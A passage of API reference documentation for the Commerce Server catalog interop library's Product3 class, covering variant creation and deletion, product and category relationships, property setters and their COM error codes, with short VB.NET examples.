E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog's included relationships cannot be directly edited. They can edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you can specify in the strRelationshipDescription parameter.

More than one relationship may be created between the same two products, however in this case each relationship created must be given a unique name.

[Visual Basic .NET]

Example

'vProdID is an Object containing the product ID
'vDesc is an Object of subtype String containing a description
'of the relationship
myProduct.AddRelationshipToProduct(vProdID, "Accessory", vDesc, "myCatalog")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.AddRelationshipToCategory

Product3.RemoveRelationshipToProduct


Product3.CreateVariant Method (PIA)

Use this method to create a new product variant of the current product. Only product-specific attributes will be set in the new variant.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function CreateVariant(
  varProductVariantID As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CreateVariant(
  object varProductVariantID
);

Parameters

[Visual Basic .NET]
varProductVariantID
An Object that contains the unique ID of the product variant.
[C#]
varProductVariantID
An object that contains the unique ID of the product variant.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the properties for the object.

[C#] This method returns a _Recordset interface to a Recordset object used to return the product variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, a catalog must be created with a variant identifier.
E_CAT_NO_VARIANTS_UNDER_PRODUCT | [C#] 0x88980051 [Visual Basic .NET] &H88980051 | You cannot create a variant under a regular product. Variants can be created under product families only.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C#] 0x8898004F [Visual Basic .NET] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_EXISTS | [C#] 0x88980026 [Visual Basic .NET] &H88980026 | The product variant you specified already exists.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.

Remarks

The value and type of the varProductVariantID parameter must be valid for the property specified as the unique ID for product variants. This property, strProductVariantID, is specified when a catalog is created.

If the catalog created does not support variants, that is, strProductVariantID was not specified on catalog creation, an error is returned.

Upon successful completion, the method returns an ActiveX Data Objects (ADO) Recordset that contains fields for all the properties defined for the new product variant and an integer field named oid. The oid field is for internal use and should not be updated. The returned Recordset is updateable, but disconnected. To modify the variant properties, pass this Recordset to the SetVariantProperties method.

The product variants inherit the properties that are present in the product definition. Values for non-variant-specific product properties are propagated from the Product object down to the variants, but values for variant-specific properties must be explicitly set for each variant.

The variant ID value should be unique within the product family. There can be two product variants with the same variant ID within the same catalog, as long as they are in different product families.

[Visual Basic .NET]

Example

rsVariantProps = myProduct.CreateVariant("SKU4005XLA")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.DeleteVariant

Product3.SetVariantProperties


Product3.DeleteVariant Method (PIA)

Use this method to delete the specified product variant. This method applies to base catalogs only.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteVariant(
  varVariantID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteVariant(
  object varVariantID
);

Parameters

[Visual Basic .NET]
varVariantID
An Object that contains the unique ID of the variant.
[C#]
varVariantID
An object that contains the unique ID of the variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &Hx8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C#] 0x8898004F [Visual Basic .NET] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C#] 0x8898001F [Visual Basic .NET] &H8898001F | The product variant you specified does not exist.
[Visual Basic .NET]

Example

'objID is an Object containing the unique ID
'for the product variant.
myProduct.DeleteVariant(objID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.CreateVariant


Product3.GetVariantProperties Method (PIA)

Use this method to retrieve the properties for a specified product variant.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetVariantProperties(
  varProductVariantID As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset GetVariantProperties(
  object varProductVariantID);

Parameters

[Visual Basic .NET]
varProductVariantID
An Object that contains the unique ID of the product variant.
[C#]
varProductVariantID
An object that contains the unique ID of the product variant.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset object that contains the variant properties.

[C#] This method returns a _Recordset interface to an ADODB26Lib._Recordset object containing the product variant properties.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C#] 0x8898001F [Visual Basic .NET] &H8898001F | The product variant you specified does not exist.

Remarks

The ppRSProductVariant parameter contains valid data only if the property was accessed successfully.

This method returns the properties of the specified product variant. If the product variant specified in the varProductVariantID parameter does not exist in the product, the method will fail.

The single-row Recordset returned contains fields for all of the properties defined for variants of this product followed by the following fields:

Field | Type | Description
TimeStamp | Timestamp | None
cy_list_price | Currency | List price
oid | Integer | None

The oid field is for internal use only and should not be updated.

The Recordset returned is updateable, but disconnected. To modify the product properties, pass this Recordset to the SetVariantProperties method.

The returned recordset contains the fields listed in the following table.

Field | Data Type
oid | int
cy_list_price | money
Timestamp | timestamp
ProductID | string
[Visual Basic .NET]

Example

'vVarID is an Object containing the unique ID of the variant.
rsVariantProps = myProduct.GetVariantProperties(vVarID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.SetVariantProperties


Product3.RemoveRelationshipToCategory Method (PIA)

Use this method to remove the specified relationship between the specified category and this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the category that is to have its relationship to this product removed.
strRelationshipName
A String that contains the name of the relationship to be removed.
strCatalogName
A String that contains the name of the catalog containing the related category.
[C#]
strRelatedCategoryName
A string that contains the name of the category that is to have its relationship to this product removed.
strRelationshipName
A string that contains the name of the relationship to be removed.
strCatalogName
A string that contains the name of the catalog containing the related category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )# . that should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

' Remove the "Accessory" relationship this product has to
' the "Apparel" category
myProduct.RemoveRelationshipToCategory ("Apparel", "Accessory")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.RelatedCategories

Product3.AddRelationshipToCategory

Product3.RemoveRelationshipToProduct


Product3.RemoveRelationshipToProduct Method (PIA)

Use this method to remove the specified relationship between the specified product and this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  string strCatalogName
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the unique ID of the product that is to have its relationship to this product removed.
strRelationshipName
A String that contains the name of the relationship to be removed.
strCatalogName
A String that contains the name of the catalog containing the name of the related category.
[C#]
varRelatedProductID
An object that contains the unique ID of the product that is to have its relationship to this product removed.
strRelationshipName
A string that contains the name of the relationship to be removed.
strCatalogName
A string that contains the name of the catalog containing the name of the related category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &Hx88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the productID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the productID is either out of range or else does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

''vProdID is an Object containing the unique ID of the related product.
myProduct.RemoveRelationshipToProduct(vProdID, "Accessory")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.RelatedProducts

Product3.AddRelationshipToProduct

Product3.RemoveRelationshipToCategory


Product3.SetRelatedCategories Method (PIA)

Use this method to update category relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedCategories(
  pRSRelatedCategories As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetRelatedCategories(
  _Recordset pRSRelatedCategories
);

Parameters

[Visual Basic .NET]
pRSRelatedCategories
A Recordset object that contains the related categories.
[C#]
pRSRelatedCategories
A Recordset object that contains the related categories.

Return Values

None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Error Values

This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available by using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, because they may be returned by the RelatedCategories method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.SetRelatedProducts Method (PIA)

Use this method to update product relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedProducts(
  pRSRelatedCategories As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetRelatedProducts(
  _Recordset pRSRelatedCategories
);

Parameters

[Visual Basic .NET]
pRSRelatedCategories
A Recordset object that contains the related products.
[C#]
pRSRelatedCategories
A Recordset object that contains the related products.

Return Values

None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Error Values

This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available by using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedProducts method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, because they may be returned by the RelatedProducts method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.SetProductProperties Method (PIA)

Use this method to set the properties for this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Sub SetProductProperties(
  pRSProduct As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetProductProperties(
  _Recordset pRSProduct,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSProduct
A _Recordset interface to a Recordset object that contains the new product properties. This should be an updated recordset returned by the GetProductProperties method.
fForceUpdate
An Object that determines whether to force an update of the product properties.
[C#]
pRSProduct
A_Recordset interface to a Recordset object that contains the new product properties. This should be an updated Recordset returned by the GetProductProperties method.
fForceUpdate
An object that determines whether to force an update of the product properties. Set to Type.Missing for default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_PRODUCT_CHANGED | [C#] 0x88980027 [Visual Basic .NET] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C#] 0x889800B4 [Visual Basic .NET] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should lie between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should lie between the minimum and maximum values. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C#] 0x8898003C [Visual Basic .NET] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

Remarks

Use the SetProductProperties method to modify the properties of a product. The pRSProduct parameter specifies a Recordset object that describes the new property values for this product. This method will not update the fields derived from the catalog such as ProductId and VariantID. If this method is called for a product family it will update the properties for all variants that belong to the product family.

Use the Recordset object returned by the GetProductProperties property so that the timestamps can be compared to the records updated by this method for error detection.

If the fForceUpdate parameter is set to false, and the property values for this product have been changed since the pRSProduct recordset was read, the method will fail.

[Visual Basic .NET]

Example

'This example changes the list price for a product
rsProductProps = myProduct.GetProductProperties()
rsProductProps.fields("cy_list_price").Value() = CCur(1.398)
myProduct.SetProductProperties(rsProductProps, TRUE)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.GetProductProperties


Product3.SetVariantProperties Method (PIA)

Use this method to set the properties for a variant of this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Sub SetVariantProperties(
  pRSNewState As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;

using ADODB26Lib; //For _Recordset

…
public void SetVariantProperties(
  _Recordset pRSNewState,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSNewState
The _Recordset interface to a Recordset object that contains the new product variant properties. This should be a recordset returned by the GetVariantProperties property or by the CreateVariant method.
fForceUpdate
An Object that determines whether to force an update of the product variant properties.
[C#]
pRSNewState
A_Recordset interface to a Recordset object that contains the new product variant properties. This should be a Recordset returned by the GetVariantProperties property or by the CreateVariant method.

fForceUpdate

An object that determines whether to force an update of the product variant properties. Set to Type.Missing for default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_VARIANT_DOESNT_EXIST | [C#] 0x8898001F [Visual Basic .NET] &H8898001F | The product variant you specified does not exist.
E_CAT_PRODUCT_CHANGED | [C#] 0x88980027 [Visual Basic .NET] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C#] 0x889800B4 [Visual Basic .NET] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should lie between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should lie between a minimum and maximum value. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C#] 0x8898003C [Visual Basic .NET] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

Remarks

Use the SetVariantProperties method to modify the properties of a product variant. The pRSNewState parameter specifies a Recordset object that describes the new property values for this product variant. Use the Recordset returned by the GetVariantProperties property or by the CreateVariant method, so that timestamps can be compared for error detection.

If the fForceUpdate parameter is set to false, and the property values in the pRSNewState parameter have changed, the method will fail.

[Visual Basic .NET]

Example

myProduct.SetVariantProperties(pRSNewState, fForceUpdate)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.GetVariantProperties


Product3 Properties (PIA)

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | String | Contains the unique identifier for this product. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | ADODB26Lib._Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.


Product3.AncestorCategories Property (PIA)

[Visual Basic .NET] The AncestorCategories property is a read-only _Recordset interface to a Recordset object that contains the names of categories that exist anywhere above this product in the hierarchy.

[C#] The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this product in the hierarchy.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ’ for _Recordset
…
Public ReadOnly Property AncestorCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset AncestorCategories {get;}

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the ancestor categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The AncestorCategories property is a Recordset object with a single 128-character field, named Name.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.ParentCategories


Product3.CatalogName Property (PIA)

The CatalogName property is a read-only String that contains the name of the catalog within which this product exists.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property CatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CatalogName {get;}

Property Value

A string containing the catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
